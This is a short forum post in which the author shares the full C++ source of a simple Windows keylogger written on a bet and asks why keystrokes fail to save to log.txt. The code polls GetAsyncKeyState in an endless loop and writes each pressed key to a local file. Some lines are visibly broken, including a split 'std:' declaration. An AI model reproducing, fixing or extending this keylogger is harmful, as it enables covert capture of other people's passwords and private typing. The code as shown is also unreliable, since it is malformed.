I made this recently out of boredom in a good 10 minutes from my friend betting me I couldn't make a working keylogging program in a small time and after making it I noticed that it has problems with sending the text to log.txt if someone could tell me what I did wrong that would be great

#include <iostream>
#include <fstream>
#include <Windows.h>
int main()
{
std:

fstream Log("Log.txt");
bool AllowKey[128];
for(int i = 0; i < 128; i++)
{
AllowKey[i] = false;
}
while(1)
{
for(int K = 0; K <= 127; K++)
{
if((bool)GetAsyncKeyState(K) == true && AllowKey[K])
{
Log << (char)K <<"\n";
Log.flush();
AllowKey[K] = false;
}
if((bool)GetAsyncKeyState(K) == false)
{
AllowKey[K] = true;
}
}
}
}